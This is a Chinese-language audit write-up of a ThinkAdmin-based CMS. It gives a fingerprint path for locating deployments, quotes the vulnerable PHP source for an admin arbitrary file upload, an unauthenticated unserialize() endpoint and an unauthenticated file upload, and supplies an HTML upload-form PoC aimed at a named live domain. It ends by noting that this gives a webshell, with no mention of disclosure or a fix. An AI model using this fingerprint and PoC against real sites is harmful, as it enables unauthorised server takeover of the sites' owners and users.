某thinkadmin二开cms代码审计

指纹信息

/static/node_modules/nak_smallsha/plugins/vue/vue.min.js

后台任意文件上传

Plugis.php下的upload方法

权限:管理员

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function upload()
{
$file = $this->request->file('file');
if (!$file->checkExt(strtolower(sysconf('storage_local_exts')))) {
return json(['code' => 'ERROR', 'msg' => '文件上传类型受限']);
}
$names = str_split($this->request->post('md5'), 16);
$ext = strtolower(pathinfo($file->getInfo('name'), 4));
$ext = $ext ? $ext : 'tmp';
$filename = "{$names[0]}/{$names[1]}.{$ext}";
// 文件上传Token验证
if ($this->request->post('token') !== md5($filename . session_id())) {
return json(['code' => 'ERROR', 'msg' => '文件上传验证失败']);
}
// 文件上传处理
if (($info = $file->move("static/upload/{$names[0]}", "{$names[1]}.{$ext}", true))) {
if (($site_url = FileService::getFileUrl($filename, 'local'))) {
return json(['data' => ['site_url' => $site_url], 'code' => 'SUCCESS', 'msg' => '文件上传成功']);
}
}
return json(['code' => 'ERROR', 'msg' => '文件上传失败']);
}

其中storage_local_exts参数可以通过config.php下的file方法配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public function index()
{
if ($this->request->isGet()) {
return $this->fetch('', ['title' => $this->title]);
}
if ($this->request->isPost()) {
foreach ($this->request->post() as $key => $vo) {
//清空数据库(开启)
if($key== 'is_clearSql' && $vo=='-1'){

$this->clearSql();
sysconf('is_clearSql', 1);
}else{
sysconf($key, $vo);
}
}
LogService::write('系统管理', '系统参数配置成功');
$this->success('系统参数配置成功!', '');
}
}

/**
* 文件存储配置
* @return string
* @throws \think\Exception
* @throws \think\exception\PDOException
*/
public function file()
{
$this->title = '文件存储配置';
return $this->index();
}

1609241581605

前台反序列化

wechat/api.push/index

权限:无

判断模块是否存在可用

wechat/api.js/index

1
2
3
4
5
6
7
8
9
10
11
public function index()
{
$request = app('request');
$this->appid = $request->post('appid', '', null);
$this->openid = $request->post('openid', '', null);
$this->receive = unserialize($request->post('receive', '', null));
if (empty($this->appid) || empty($this->openid) || empty($this->receive)) {
throw new Exception('微信API实例缺失必要参数[appid,openid,receive].');
}
return $this->init();
}

不多说了,直接反序列化就行

但是某些站点可能不存在这个接口

任意文件上传

权限:无

apiv1模块下的common控制器的fileUploader方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function fileUploader()
{
// 获取表单上传文件 例如上传了001.jpg
$file = request()->file('file');

// 移动到框架应用根目录/public/uploads/ 目录下
if ($file) {
$info = $file->move(ROOT_PATH . '/upload');
if ($info) {
return $this->success('/upload/' . $info->getSaveName());
} else {
return $this->error($file->getError());

}
}
}

poc

1
2
3
4
5
6
7
8
9
<html>
<body>
<!-- 支持直接上传php-->
<form action="http://console.wangzheweb.com/index.php/apiv1/common/fileUploader" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="上传文件" />
</form>
</body>
</html>

end

目前可以直接getshell,暂时不研究其他漏洞